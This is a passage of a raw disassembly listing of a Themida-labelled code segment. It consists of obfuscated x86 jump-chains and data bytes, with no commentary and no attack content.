		dd 24048124h, 4, 8324148Bh, 8E904C4h, 68FFFFBEh, 3FCh
		dd 1FB0E9h, 81E68900h, 4C6h, 2EE8100h, 0E9000000h, 0FFFFCA11h
; ---------------------------------------------------------------------------


loc_55C918:				; CODE XREF: Themida_:00555C50j
		push	7207h
		mov	[esp], ecx
		push	esp
		jmp	loc_55453A
; ---------------------------------------------------------------------------


loc_55C926:				; CODE XREF: Themida_:0055FC6Fj
		pop	edx
		or	ecx, 53F73ADFh
		jmp	loc_558881
; ---------------------------------------------------------------------------


loc_55C932:				; CODE XREF: Themida_:00556AC4j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	201Eh
		mov	[esp], ebx
		jmp	loc_554AFD
; ---------------------------------------------------------------------------
		dw 0E949h
		dd 0FFFF8C1Bh, 0D6F6EE86h, 88CBC680h, 3754E9F4h, 55530000h
		dd 2946FEBDh, 7DAEBB3Ah, 0EB310D62h, 81242C8Bh,	4C4h, 50D3F700h
		dd 0FFC58BE9h, 0E28952FFh, 1BBBE9h, 6DB65200h, 0EEC0D6F6h
		dd 30CEFE08h, 30F530EEh, 0E9D5F6EEh, 0FFFFFFB4h
; ---------------------------------------------------------------------------


loc_55C998:				; CODE XREF: Themida_:00555468j
		mov	ebp, 9F1C3Fh
		push	ebp
		push	115129E1h
		pop	ebp
		dec	ebp
		xor	ebp, 8EB68E66h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_55FF1D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EFC106EFh, 2DC78102h, 89FF49DEh, 0EF815FFEh, 72192F66h
		dd 0C781F701h, 72192F66h, 0E924348Bh, 19D6h, 0C181E189h
		dd 4, 4BE56h, 0F1010000h, 1E78E9h, 74FF5600h, 8F5E0424h
		dd 0E95C2404h, 0FFFF79AEh, 0C781E789h, 4, 0E904C783h, 0FFFFBF32h
		dd 592434FFh, 9C31E955h, 60BAFFFFh, 810CD244h, 7E5005F2h
		dd 0FFD1297Fh, 835A2434h, 48B04C4h, 4C48324h, 2BB53h, 0D9010000h
		dd 240C875Bh, 0E924248Bh, 0FFFFF431h, 0FF719CE9h, 59CB31FFh
		dd 815BD901h, 4C1h, 240C8700h, 3124248Bh, 30FF66C3h, 0FFC595E9h
		dd 2434FFFFh, 592434FFh, 17C3E9h, 0BE95900h, 21000035h
		dd 0B3E95FFEh, 68FFFF7Ah, 51D1h, 52240C89h, 0D2F62CB2h
		dd 0FFCD6CE9h, 242C33FFh, 0E77E9h, 4EC8300h, 0FFF4C9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CAA1:				; CODE XREF: Themida_:00556D14j
		mov	ebp, esp
		jmp	loc_557529
; ---------------------------------------------------------------------------
		dd 82E9D5F7h, 88FFFFFDh, 0FB47E9D1h, 5166FFFFh,	7127E99Ch
		dd 0C181FFFFh, 4, 5C240C87h, 582434FFh,	0FFFEA8E9h, 481FBDFFh
		dd 0EE311E73h, 0F7DE875Dh, 7D20E9D3h, 0C783FFFFh, 0E35BE904h
		dd 0E889FFFFh, 53242C8Bh, 0FF7CD7E9h, 0C3BB53FFh, 895D5A75h
		dd 8FA0E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB02:				; CODE XREF: Themida_:00555D5Fj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 13463277h
		jmp	loc_55A535
; ---------------------------------------------------------------------------
		dd 2015C480h, 0CB8058E3h, 0BE7BE996h, 8FB8FFFFh, 913EFA19h
		dd 26E99149h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55CB2F:				; CODE XREF: Themida_:0055B895j
		not	eax
		xchg	eax, [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_55D313
; ---------------------------------------------------------------------------
		db 1, 0CFh, 0E9h
		dd 29C9h, 0CA015B5Ah, 24143359h, 0E9241431h, 0FFFFB175h
		dd 8935F768h, 0C2815A66h, 67D457BAh, 52C28142h,	8931A272h
		dd 44015AD0h, 8F580424h, 0EC832404h, 24048904h,	0FFAEE1E9h
		dd 240489FFh, 0C788A0B0h, 0A1E78058h, 0FF9C27E9h, 9FBD55FFh
		dd 29144744h, 14E95DEFh, 83000010h, 0B95104C4h,	4, 5559CD01h
		dd 42474FFh, 24048F5Dh,	2404FF5Ch, 701FE99Ch, 0C083FFFFh
		dd 24048704h, 0E924248Bh, 0FFFFED38h
; ---------------------------------------------------------------------------


loc_55CBD4:				; CODE XREF: Themida_:00559EA2j
		mov	dl, al
		mov	ch, dl
		jmp	loc_55B0C6
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 0F7h
		dd 6E2C1D2h, 9177C281h,	0D001FC2Eh, 0E924148Bh,	0FFFFB6A9h
; ---------------------------------------------------------------------------


loc_55CBF4:				; CODE XREF: Themida_:0055BC70j
		xor	ebx, 1A642154h
		jmp	loc_55E5B6
; ---------------------------------------------------------------------------
		db 81h
		dd 8F6940CAh, 4BEA8148h, 8118AA08h, 3141F5C2h, 0DCA8175h
		dd 812BE76Ah, 0FF321CF2h, 12C28115h, 2D73B163h,	6A58427Bh
		dd 0D3E9D001h, 53000004h, 0C381E389h, 4, 8704C383h, 248B241Ch
		dd 24048F24h, 9718E95Ch, 1489FFFFh, 0AD685324h,	5B07B614h
		dd 0B614ADBAh, 0EFC28107h, 290DF75Bh, 0EFEA81DAh, 5B0DF75Bh
		dd 31E7EA81h, 1BE95549h
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CC73:				; CODE XREF: Themida_:0055A9B9j
		pop	ebp
		or	eax, eax
		jz	loc_55D8D7
		push	dword ptr [edi+28h]
		push	eax
		push	esi
		mov	esi, 6AFA04C6h
		sub	esi, 273162F6h
		xchg	ebx, esi
		inc	ebx
		xchg	ebx, esi
		jmp	loc_55E59B
; ---------------------------------------------------------------------------


loc_55CC96:				; CODE XREF: Themida_:00558B15j
		pop	esp
		push	dword ptr [edi+eax*4]
		push	esi
		jmp	loc_55F836
; ---------------------------------------------------------------------------
		dd 4B8h, 0D0C38100h, 160B812h, 0D0EB81C3h, 5860B812h, 5C241C87h
		dd 2A55E9h, 24448100h, 5469A204h, 0A38AE958h, 34FFFFFFh
		dd 2330E924h, 34FF0000h, 0E9575824h, 458h, 2C481h, 12E90000h
		dd 29FFFFC9h, 0BA525EF0h, 185037B4h, 148BD029h,	4C48124h
		dd 53000000h, 39EE9h, 8B665C00h, 35E92404h, 89000010h
		dd 5B54241Ch, 0FFEF18E9h, 0C8B66FFh, 0E3E95124h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CD1F:				; CODE XREF: Themida_:0055B7DDj
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	2B4Fh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		jmp	loc_55E242
; ---------------------------------------------------------------------------


loc_55CD64:				; CODE XREF: Themida_:0055E224j
		push	edx
		jmp	loc_5577F2
; ---------------------------------------------------------------------------


loc_55CD6A:				; CODE XREF: Themida_:0055C174j
		xor	ch, bl
		pop	bx
		add	al, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0FAh
		inc	dh
		push	7540h
		mov	[esp], ebx
		push	eax
		jmp	loc_55B9D6
; ---------------------------------------------------------------------------
		db 0BEh, 8, 0Fh
		dd 0D6F77020h, 4EA8F681h, 0E68158BAh, 74D360B0h, 200CEE81h
		dd 0F2895441h, 5AD5015Eh, 4C581h, 0D6E90000h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CDBB:				; CODE XREF: Themida_:00557762j
		mov	[esp], ebp
		mov	ebp, 1295414Eh
		and	ebp, 455D7AC3h
		jmp	loc_557EE1
; ---------------------------------------------------------------------------
		dw 0F74Dh
		dd 685057DDh, 12B154D3h, 2D6EE958h, 0BB660000h,	81662859h
		dd 6644C3F3h, 6606E3C1h, 0EDF1C381h, 21BEE9h, 4895C00h
		dd 7166E924h, 0E801FFFFh, 81242C8Bh, 4C4h, 0CE0FE900h
		dd 0C229FFFFh, 19BCC281h, 0EAE91FCCh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55CE1B:				; CODE XREF: Themida_:0055FCD8j
		mov	ebp, esi
		pop	esi
		mov	edx, 8415B87Ah
		jmp	loc_555E99
; ---------------------------------------------------------------------------
		dd 0FF6DB8E9h, 3EEE81FFh, 50158024h, 0FF7BA1E9h, 219FBEFFh
		dd 0C68171A7h, 0FFFFFFFFh, 240CFF56h, 0B7C6815Eh, 501B0B5Fh
		dd 0F619E9B8h, 7AF92526h, 850D608Bh, 0E955616Fh, 377h
		dd 753264B9h, 4416803h,	34890000h, 49C3BE24h, 0EE811516h
		dd 1, 72CAE946h, 0E981FFFFh, 616C31CFh,	52E9D101h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE8F:				; CODE XREF: Themida_:005547B9j
		push	1AD4h
		mov	[esp], eax
		push	edx
		mov	dh, 13h
		mov	ah, 30h
		jmp	loc_5595E5
; ---------------------------------------------------------------------------
		db 1, 0D8h, 5Bh
		dd 4BB53h, 0D8290000h, 0FFC06DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CEB1:				; CODE XREF: Themida_:00558E6Dj
		push	edx
		mov	dh, 82h
		push	ecx
		mov	ch, 0BFh
		jmp	loc_55509C
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFF8A6h, 6D05E801h, 8B714A70h, 0C481242Ch
		dd 4, 5E2434FFh, 4C481h, 0EC810000h, 4,	0BA241489h, 78A22B47h
		dd 0C281D2F7h, 81D76FB7h, 8FE9DAF7h, 5AFFFF70h,	88C28852h
		dd 48B5AD1h, 4C48324h, 66C8005Bh, 83240C8Bh, 686602C4h
		dd 896616A2h, 63E92414h, 56FFFF96h, 468h, 0F1015E00h, 0FF7C9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CF2D:				; CODE XREF: Themida_:00554186j
		push	small 7ECFh
		jmp	loc_55944B
; ---------------------------------------------------------------------------
		dw 0F6BFh
dword_55CF38	dd 895CC167h, 0EDD15FFDh, 0DB0FF581h, 80E9752Dh, 89FFFFC1h
		dd 89522414h, 4C281E2h,	0E9000000h, 0FFFFC905h,	0F81878B8h
		dd 67F03545h, 842D4EB0h, 10B487Fh, 0BD5558C7h, 4B794272h
		dd 0FFFFC581h, 0E5C1FFFFh, 8E5C108h, 5708EDC1h,	591E9h
		dd 0C2CE8100h, 55081A1Eh, 86755DBDh, 0E9EE212Ch, 0FFFFC063h
		dd 0E905ECC0h, 0FFFFC9DFh, 241CF766h, 6C37E99Ch, 565CFFFFh
		dd 23C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55CFB5:				; CODE XREF: Themida_:0055903Cj
		add	ecx, ebx
		pop	ebx
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 53587B3h
		add	ebx, ecx
		pop	ecx
		mov	eax, ebx
		pop	ebx
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		shr	ecx, 6
		jmp	loc_55E292
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E92424D3h, 0FFFF6BF9h
; ---------------------------------------------------------------------------


loc_55CFEC:				; CODE XREF: Themida_:00555D93j
		mov	esi, ebx
		jmp	loc_559005
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFB2B1E9h, 0F7DF87FFh, 0D1DF87D3h, 0FCBA52E7h, 2973C9EAh
		dd 0FB015AD7h, 0FFECC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D011:				; CODE XREF: Themida_:0055877Bj
		pop	eax
		add	[esp+4], esi
		pop	esi
		push	ebx
		mov	ebx, 727A51F4h
		add	[esp+4], ebx
		pop	ebx
		push	eax
		push	6F343CE4h
		pop	eax
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		dd 24048B66h, 34FF5457h, 0E9565F24h, 0FFFFE5BEh, 0E9FE015Ch
		dd 0FFFFD73Fh
; ---------------------------------------------------------------------------


loc_55D050:				; CODE XREF: Themida_:0055596Aj
		add	edi, 60CA7232h
		add	edi, ecx
		jmp	loc_55C697
; ---------------------------------------------------------------------------


loc_55D05D:				; CODE XREF: Themida_:005580B7j
		sub	edx, 498232Dh
		sub	eax, edx
		pop	edx
		jmp	loc_55DD77
; ---------------------------------------------------------------------------


loc_55D06B:				; CODE XREF: Themida_:005597E6j
		push	ebx
		jmp	loc_5542BF
; ---------------------------------------------------------------------------


loc_55D071:				; CODE XREF: Themida_:005544EFj
		pop	esi


loc_55D072:				; CODE XREF: Themida_:00559F9Cj
		push	6219h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_55D819
; ---------------------------------------------------------------------------
		db 89h,	0C5h, 58h
		dd 505DEB01h, 0FFFC13E9h, 0FEEDB6FFh, 5E6C0CEh,	0FE90EE80h
		dd 0F7E950C6h, 54FFFF96h, 4C3815Bh, 83000000h, 0FF5304EBh
		dd 5B042474h, 5C24048Fh, 0E9241C89h, 0FFFF6C1Ah
; ---------------------------------------------------------------------------


loc_55D0BC:				; CODE XREF: Themida_:0055515Fj
		add	eax, edi
		pop	edi
		push	4E9Ch
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7DE6E7B3h
		push	edi
		pop	ebx
		pop	edi
		xor	eax, ebx
		jmp	loc_55B63E
; ---------------------------------------------------------------------------
		db 49h
		dd 0E964E981h, 0CAE9E30Bh, 52FFFFC4h, 0D43E9h, 6AEFE900h
		dd 8B66FFFFh, 89512404h, 76DAE9E1h, 7B05FFFFh, 5A6A5842h
		dd 0FF7B44E9h, 11C581FFh, 1209E45h, 11ED81CDh, 0E9209E45h
		dd 0FFFFAE2Dh, 4BAh, 0C38FE900h, 4BEFFFFh, 0E9000000h
		dd 0FFFF7567h, 0C781E789h, 4, 8704EF83h, 0E95C243Ch, 0FFFFB1CCh
		dd 15B25266h, 0EAE9D000h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D153:				; CODE XREF: Themida_:00554E57j
		pop	esi
		push	edx
		mov	edx, 4F7F4DEFh
		sub	esi, 27DE6FA4h
		sub	esi, edx
		add	esi, 27DE6FA4h
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		push	esi
		jmp	loc_5596D0
; ---------------------------------------------------------------------------


loc_55D178:				; CODE XREF: Themida_:0055C476j
		push	5A5Eh
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_55DB80
; ---------------------------------------------------------------------------
		db 80h,	0EEh, 55h
		dd 1AF680h, 7C6EE9F0h, 1C87FFFFh, 4895C24h, 41E95B24h
		dd 55FFFFB1h, 996CFB68h, 0D5F75D3Ch, 951F581h, 0E5C15FB9h
		dd 8DF58106h, 5596DBF1h, 0E9515D58h, 0FFFFA2B8h, 0C040F480h
		dd 0E4C003ECh, 0C4EC8007h, 44E9E130h, 2DFFFF9Bh, 0E930FE9Bh
		dd 0FF75C6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D1E5:				; CODE XREF: Themida_:00556CB3j
		mov	[esp], ecx
		push	ebx
		mov	bl, dl
		jmp	loc_55657A
; ---------------------------------------------------------------------------
aYhdz		db 'Yh„z',0
		align 2
		dw 1C89h
		dd 2BB24h, 6BE90000h, 81FFFF80h, 624C38C3h, 46EB8177h
		dd 0E9919F6Ah, 1EC6h
; ---------------------------------------------------------------------------


loc_55D214:				; CODE XREF: Themida_:0056003Fj
		xor	esi, 405564DCh
		jmp	loc_55F0F4
; ---------------------------------------------------------------------------
		db 66h
		dd 6667BCBEh, 5E66F189h, 0FFE80EE9h, 4C483FFh, 4C581h
		dd 2C870000h, 24248B24h, 0FF857AE9h, 2414F7FFh,	5024048Bh
		dd 405E089h, 0E9000000h, 0FFFF7EE9h, 5CCD8166h,	6645661Fh
		dd 6A8FE581h, 0CDE95066h, 6600001Dh, 8124048Bh,	4ECh, 242C8900h
		dd 0E234E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D27A:				; CODE XREF: Themida_:00559FE7j
		sub	[esp+4], eax
		jmp	loc_556F95
; ---------------------------------------------------------------------------
		db 66h
		dd 0EC83D331h, 1C896602h, 74FF6624h, 3FE90224h,	5BFFFFE9h
		dd 5C9868h, 243C8900h, 0FF7FC3E9h, 41E95AFFh
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D2AB:				; CODE XREF: Themida_:005589ECj
		push	ecx
		push	esi
		push	35196242h
		pop	esi
		mov	ecx, 35196240h
		xor	ecx, esi
		pop	esi
		sub	ebp, 296A31A2h
		jmp	loc_553E48
; ---------------------------------------------------------------------------
		dw 0F4BBh
		dd 5556E92Dh, 734FD668h, 9FE95D23h, 51FFFF72h, 0E2C1595Ah
		dd 2FE94206h, 81FFFFF5h, 5629A9EEh, 0C6815D69h,	4, 0FFF1C0E9h
		dd 4C481FFh, 0E9000000h, 0FFFFD22Eh, 1C8BDF29h,	4C48124h
		dd 1000000h, 0CDE95FFBh
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D313:				; CODE XREF: Themida_:0055CB44j
		mov	[esp], edi
		mov	edi, 0E7369CBh
		not	edi
		and	edi, 95135FEh
		and	edi, 8431834h
		inc	edi
		sub	edi, 1034h
		mov	esi, edi
		pop	edi
		and	eax, esi
		jmp	loc_555297
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFE36CE9h, 0E08950FFh, 405h, 40500h, 4870000h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 4A3578BAh
		inc	ebp
		push	ebp
		not	dword ptr [esp]
		jmp	loc_5548E4
; ---------------------------------------------------------------------------
		dd 0E904C683h, 0FFFFE641h, 241C8B59h, 4C481h, 20E90000h
		dd 81FFFF90h, 4C4h, 78686600h, 0C89667Ah, 44E95324h, 0BEFFFFFDh
		dd 10A42A55h, 0FFE845E9h, 556BEFFh, 0C14634F4h,	0C68102EEh
		dd 599866D2h, 0FFDCF3E9h, 240C33FFh, 0E924248Bh, 0FFFF9042h
; ---------------------------------------------------------------------------


loc_55D3D0:				; CODE XREF: Themida_:0055F87Cj
		xchg	ebx, [esp]
		pop	esp
		rep movsd
		add	esp, [edx+38h]
		push	esi
		jmp	loc_5553BA
; ---------------------------------------------------------------------------


loc_55D3DF:				; CODE XREF: Themida_:0055F1BCj
		push	ebx
		push	ebp
		push	54F553B3h
		pop	ebp
		jmp	loc_55A02A
; ---------------------------------------------------------------------------


loc_55D3EC:				; CODE XREF: Themida_:00559FFBj
		mov	[esp], ebp
		jmp	loc_556EB5
; ---------------------------------------------------------------------------


loc_55D3F4:				; CODE XREF: Themida_:005542C6j
		pop	ebx
		not	ebp
		xor	ebp, 8069999Bh
		jmp	loc_55DC25
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 8BFE2821h, 0C481241Ch, 4, 1866E952h,	0CAE90000h, 89FFFF67h
		dd 4B82404h, 0E9000000h, 0FFFFFC59h, 582434FFh,	5E08950h
		dd 4, 7CC6BB53h, 0EB810912h, 580313D7h,	4F04EB81h, 0DBF75CC6h
		dd 0E611F381h, 0D801ABB6h, 4B4E9h, 4B162500h, 77052B6Eh
		dd 0C105BC65h, 0E95705E8h, 0FFFFACE1h
; ---------------------------------------------------------------------------


loc_55D468:				; CODE XREF: Themida_:005551DFj
		neg	edx
		not	edx
		xor	edx, 58D555FEh
		sub	edx, 0A5D0DBE8h
		add	esi, edx
		pop	edx
		sub	esi, 31F7047Dh
		add	esi, edx
		add	esi, 31F7047Dh
		jmp	loc_55F763
; ---------------------------------------------------------------------------
		dw 0C501h
		dd 2BE5658h, 0E9000000h, 0FFFFCD36h
; ---------------------------------------------------------------------------


loc_55D49C:				; CODE XREF: Themida_:00557F55j
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55FDC2
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D35966h, 2EE99C24h, 81FFFF67h, 4C6h, 24348700h
		dd 28AD2D5Ch, 0D8292FDBh, 0DB28AD05h, 0D1BF572Fh, 8158B04Bh
		dd 365021F7h, 6E7C130h,	573EEF81h, 814F6C94h, 0A3BC32F7h
		dd 31372DE7h, 0F8293620h, 20313705h, 56525F36h,	0A00A1968h
		dd 2434FF18h, 0FFB129E9h, 241487FFh, 0FF744CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D50D:				; CODE XREF: Themida_:0055AB91j
		xor	edi, eax
		jmp	loc_55E975
; ---------------------------------------------------------------------------
		dd 3CCE9ADh, 0FEBF0000h, 0E9004270h, 0FFFF8980h
; ---------------------------------------------------------------------------


loc_55D524:				; CODE XREF: Themida_:00555473j
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_560137
; ---------------------------------------------------------------------------


loc_55D533:				; CODE XREF: Themida_:0055E44Bj
		mov	[esp], edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		push	7AD3BCDh
		pop	edx
		neg	edx
		push	esi
		mov	esi, 6B114CA8h
		shl	esi, 6
		jmp	loc_55DCDA
; ---------------------------------------------------------------------------
		dd 0E902EBC0h, 0FFFF763Ch, 0F28005B2h, 0FEDAF6DBh, 33CA80CAh
		dd 0E9D6F280h, 0FFFFA874h, 2FFD68h, 0A9C6E900h,	42E9FFFFh
		dd 0FFFF66h, 24148BF3h,	4C481h,	0B60F0000h, 0D7C4E9C0h
		dd 0FD01FFFFh, 0FF9FF7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D5BD:				; CODE XREF: Themida_:00555138j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	[esp+4], esi
		jmp	loc_559E24
; ---------------------------------------------------------------------------
		dw 0C308h
		dd 82E95058h, 87FFFF8Bh, 248B240Ch, 14896624h, 89A3E924h
		dd 8B66FFFFh, 0EC832404h, 24048904h, 124768h, 24248900h
		dd 4240483h, 40558h, 0E8830000h, 24048704h, 2404895Ch
		dd 0BA52E089h, 32E77F6h, 0DAF7DAF7h, 0F1BB534Ah, 0E9032E77h
		dd 724h, 0C3815B54h, 4,	12685157h, 89000050h, 3ABE2434h
		dd 815D573Fh, 8D04EEE6h, 0CDAFE977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D64E:				; CODE XREF: Themida_:00557FC0j
		xor	esi, [esp]
		xor	[esp], esi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		xor	edi, 1D42419Bh
		add	edi, 0FFFFFFFFh
		sub	edi, 0EE7EAF70h
		and	eax, edi
		pop	edi
		shr	eax, 18h
		jmp	loc_55B802
; ---------------------------------------------------------------------------
		dd 5524148Bh, 0FFF066E9h, 0E9D989FFh, 0FFFFE1BAh, 42474FFh
		dd 24048F5Fh, 297EE9h, 2C08300h, 5C240487h, 0FF9CB2E9h
		dd 48B66FFh, 61E95524h,	5DFFFF6Bh, 0FFB2F0E9h, 0F1C181FFh
		dd 31356C18h, 572159CAh, 21C7E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6D2:				; CODE XREF: Themida_:0055B06Bj
		mov	ebp, ecx
		jmp	loc_55F918
; ---------------------------------------------------------------------------
		db 58h,	4, 83h
		dd 832CE800h, 0FFCEFCE9h, 248E68FFh, 2C890000h,	12DCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6F2:				; CODE XREF: Themida_:0055F5C0j
		add	dh, 6Eh
		jmp	loc_556FE3
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 39740D25h, 0FFE942E9h, 83E189FFh, 148904ECh,	6B7E924h
		dd 8B660000h, 7F68240Ch, 8900004Fh, 0EC812414h,	4, 0E9242489h
		dd 0FF6h, 0F610C480h, 0A82E9DCh, 1C890000h, 238FBB24h
		dd 0CE93C80h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D743:				; CODE XREF: Themida_:0055DA7Aj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	0DCh
		mov	[esp], esi
		mov	esi, 70CF42B9h
		not	esi
		jmp	loc_559FF6
; ---------------------------------------------------------------------------


loc_55D762:				; CODE XREF: Themida_:00556DB5j
		push	ebx
		mov	ebx, esp
		jmp	loc_55571B
; ---------------------------------------------------------------------------


loc_55D76A:				; CODE XREF: Themida_:0055EC05j
		xor	ecx, [esp]
		xor	[esp], ecx
		not	ecx
		jmp	loc_555F9F
; ---------------------------------------------------------------------------
		db 31h
		dd 6548E9FAh, 0EC83FFFFh, 24148904h, 0FFCE90E9h, 4FEABDFFh
		dd 0E5C156D7h, 3EDC107h, 7F66ED81h, 0EA21B763h,	0DFCA815Dh
		dd 0E9608841h, 1091h, 77B0BA52h, 2AE90976h, 52FFFFF4h
		dd 0BB53E289h, 1A3D1E12h, 0FFFA42E9h, 240481FFh, 4, 7068515Eh
		dd 89000008h, 0E8BE2434h, 897C0951h, 0D9F75EF1h, 0F703E9C1h
		dd 68D9F7D9h, 0F54h, 0BD242C89h, 107ED5BFh, 0E95DE929h
		dd 0FFFFA454h
; ---------------------------------------------------------------------------


loc_55D7F8:				; CODE XREF: Themida_:005602C2j
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	edi
		push	5AEEh
		mov	[esp], ebx
		push	3097h
		mov	[esp], ebp
		mov	ebp, 36007D1Ch
		jmp	loc_557CC4
; ---------------------------------------------------------------------------


loc_55D819:				; CODE XREF: Themida_:0055D07Cj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_55EDF5
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 83000000h, 148704C2h, 16E95C24h, 0BEFFFFD2h,	76F45840h
		dd 0FFE850E9h, 0C30558FFh, 2915D71Fh, 1FC32DD8h, 34FF15D7h
		dd 83E95B24h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D85F:				; CODE XREF: Themida_:00559ACEj
		pop	ecx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_554D29
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0DF682404h, 8900001Ah, 58542404h, 405h, 0E2DFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D886:				; CODE XREF: Themida_:0055C31Bj
		sub	ecx, edi
		add	ecx, 89F1AFEh
		jmp	loc_557905
; ---------------------------------------------------------------------------


loc_55D893:				; CODE XREF: Themida_:00558470j
		mov	edi, 0B295EA1Dh
		add	edi, 3DC55E41h
		add	edi, 73540784h
		jmp	loc_55960D
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 81000000h, 4E9h, 0D73E900h, 8B660000h, 0EE9240Ch
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D8C3:				; CODE XREF: Themida_:00556BCFj
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_55D8D7:				; CODE XREF: Themida_:00559F07j
					; Themida_:0055CC76j
		push	dword ptr [edi+24h]
		jmp	loc_55F901
; ---------------------------------------------------------------------------
		db 31h
		dd 10DFE9CEh, 0EC810000h, 4, 0FFFE45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D8F1:				; CODE XREF: Themida_:0055C242j
		push	62FFh
		mov	[esp], ebx
		mov	ebx, 29908A4h
		xor	ebx, 0D0076BAh
		jmp	loc_55ADDD
; ---------------------------------------------------------------------------
aPs_0		db '[PéØ',27h,0
		align 10h
		dd 33242C31h, 248B242Ch, 8CCBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D91E:				; CODE XREF: Themida_:0055507Bj
		pop	esi
		jmp	loc_556C4D
; ---------------------------------------------------------------------------


loc_55D924:				; CODE XREF: Themida_:00558BD5j
		pop	bx
		xor	al, dh
		jmp	loc_558735
; ---------------------------------------------------------------------------
aXaxA		db 'X€åÆ€ÅÒ',0
		db 0EBh, 8Bh, 0Ch
		dd 4C48324h, 0FF71D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D941:				; CODE XREF: Themida_:0055DFC3j
		shr	eax, 4
		add	eax, 721FD865h
		mov	ebx, eax
		pop	eax
		sub	eax, ebx
		pop	ebx
		jmp	loc_558281
; ---------------------------------------------------------------------------
		dd 9E9E831h, 1FFFF84h, 20C181F9h, 0E901C97Fh, 0FFFF8D15h
; ---------------------------------------------------------------------------


loc_55D968:				; CODE XREF: Themida_:00557E23j
